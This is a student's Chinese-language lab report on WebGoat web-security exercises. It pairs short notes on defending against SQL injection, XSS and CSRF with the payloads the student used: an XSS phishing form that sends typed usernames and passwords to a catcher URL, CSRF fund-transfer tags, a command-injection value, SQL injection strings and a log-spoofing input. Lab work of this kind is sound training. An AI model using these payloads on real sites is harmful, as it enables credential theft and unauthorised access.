2018-2019-2 網絡對抗技術 20165235 Exp 9 Web安全基礎

實驗任務

本實踐的目標理解經常使用網絡攻擊技術的基本原理,作很多於7個題目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat實踐下相關實驗。javascript

基礎問題回答

  • (1)SQL注入攻擊原理,如何防護
  • 1.對漏洞注入點相關代碼進行處理,篩除特殊字符,以規範代碼安全性;2.關閉或刪除沒必要要的交互式提交表單頁面;3.普通用戶與系統管理員用戶的權限要有嚴格的區分;4.不要在服務器端放置備份的文件以避免受到感染,或備份的文件含有漏洞,形成切入點。
  • (2)XSS攻擊的原理,如何防護
  • 1.特徵匹配方式,在全部提交的信息中都進行匹配檢查,通常會對「javascript」這個關鍵字進行檢索,一旦發現提交信息中包含「javascript」,就認定爲XSS攻擊。2.對全部用戶提交內容進行可靠的輸入驗證,包括對URL、查詢關鍵字、HTTP頭、POST數據等,僅接受指定長度範圍內、採用適當格式、採用所預期的字符的內容提交,對其餘的一概過濾。3.實現Session標記、CAPTCHA系統或者HTTP引用頭檢查,以防功能被第三方網站所執行
  • (3)CSRF攻擊原理,如何防護
  • 1.儘可能不要在頁面的連接中暴露用戶隱私信息,對於用戶修改刪除等操做最好都使用post操做。2.經過referer、token或者驗證碼來檢測用戶提交。3.避免全站通用的cookie,嚴格設置cookie的域。java

    實驗過程

    WebGoat準備

  • 下載webgoat-container-7.0.1-war-exec.jar文件。在該文件目錄下使用命令java -jar webgoat-container-7.0.1-war-exec.jar運行Webgoat。
  • 在瀏覽器中輸入http://localhost:8080/WebGoat進入WebGoat登陸界面,直接用默認用戶名密碼guest登陸便可
    git

    XSS攻擊

    Phishing with XSS

  • 在webgoat找到Cross-Site Scripting (xss)攻擊打開第一個——Phishing with XSS。將下面這段代碼輸入到Search:輸入框中,點擊search
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:yellow;"></div> <div style="float:left;height:100px;width:50%;background-color:orange;"></div> </div> <div style="background-color:grey;height:200px;clear:both;"></div>   </div></div> </form>   <script> function hack(){  XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); }    </script> <form name="phish"> <br> <br> <HR>   <H2>This feature requires account login:</H2> <br>   <br>Enter Username:<br>   <input type="text" name="user">   <br>Enter Password:<br>   <input type="password" name = "pass"> <br>   <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
  • 結果會出現代碼中所指定的黃、橙、灰三塊
  • 在登陸框中輸入用戶名20165235,密碼20165235,點擊登陸後,顯示被竊取的用戶名和密碼。
    web

    Stored XSS Attacks

  • 打開Cross-Site Scripting (xss)攻擊中的第二個:Stored XSS Attacks。在Message框中輸入代碼,Title爲20165235test,並點擊submit。
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:yellow;"></div> <div style="float:left;height:100px;width:50%;background-color:orange;"></div> </div> <div style="background-color:grey;height:200px;clear:both;"></div>   </div></div> </form>   <script> function hack(){  XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); }    </script> <form name="phish"> <br> <br> <HR>   <H2>This feature requires account login:</H2> <br>   <br>Enter Username:<br>   <input type="text" name="user">   <br>Enter Password:<br>   <input type="password" name = "pass"> <br>   <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
  • 提交後,點擊下方新增的連接
  • 注入成功,messege部分顯示的是三色框,在下方輸入用戶名20165235,密碼20165235,點擊提交後,成功獲取用戶名和密碼。
    sql

    Reflected XSS Attacks

  • 開xss的第三個攻擊Reflected XSS Attacks在「Enter your three digit access code:」中輸入`<script>alert("20165235test");</script>`

    CSRF攻擊

  • 打開Cross-Site Scripting (xss)攻擊中的第四個:Cross Site Request Forgery(CSRF)。查看頁面Parameters中的src和menu值,分別爲314和900.在message框中輸入<img src="http://localhost:8080/WebGoat/attack?Screen=314&menu=900&transferFunds=5000" width="1" height="1" />點擊Submit提交。
  • 在下面中生成以Title命名的消息20165235test。點擊該連接,當前頁面就會下載這個消息並顯示出來,從而達到CSRF攻擊的目的。
    瀏覽器

    CSRF Prompt By-Pass

  • 打開Cross-Site Scripting (xss)攻擊中的第五個:CSRF Prompt By-Pass同攻擊4,查看頁面Parameters中的src和menu值,分別爲327和900.
  • message框中輸入代碼
<iframe src="attack?Screen=327&menu=900&transferFunds=6000"> </iframe>
<iframe src="attack?Screen=327&menu=900&transferFunds=CONFIRM"> </iframe>

  • 在Message List中生成連接"20165235test"。點擊連接,攻擊成功:
    安全

    SQL注入攻擊

    Command Injection 命令注入

  • 選擇Injection Flaws中的第一項Command Injection,而後右鍵點擊頁面,選擇inspect Element審查網頁元素對源代碼進行修改,在複選框中任意一欄的代碼後添加"& netstat -an & ipconfig"。
  • 點擊view,能看到網絡端口使用狀況和 IP 地址,攻擊成功。
    服務器

    Numeric SQL Injection

  • 選擇Injection Flaws中的第二項Numeric SQL Injection,右鍵點擊頁面,選擇inspect Element審查網頁元素對源代碼進行修改,在選中的城市編號Value值中添加or 1=1
  • 攻擊成功,顯示全部城市的天氣狀況
    cookie

    String SQL Injection 字符串型注入

  • 選擇Injection Flaws中的第四項String SQL Injection,輸入查詢的用戶名' or '1'='1,'1'='1'是永真式,全部的用戶信息將會被輸出
    網絡

    Log Spoofing

  • 在文本框中輸入用戶名qiying%0d%0aLogin Succeeded for username: admin

    LAB:SQL Injection

  • 選擇Injection Flaws中的第五項LAB:SQL Injection,右鍵點擊頁面,選擇inspect Element審查網頁元素對源代碼進行修改,將密碼最大長度maxlength改成100
  • 在密碼框輸入' or 1=1 --,成功登錄,攻擊成功。

    實踐總結與體會

    此次實驗主要是利用WebGoat工具,進行SQL注入攻擊、XSS攻擊、CSRF攻擊。攻擊原理主要是利用一些語句漏洞,經過修改這些語句進行攻擊。實驗使我對SQL語句等相關知識有了進一步的理解,對網絡攻防的內容也有一些興趣,雖然不少方面作的仍是有所不足,可是仍然收穫頗豐

相關文章
相關標籤/搜索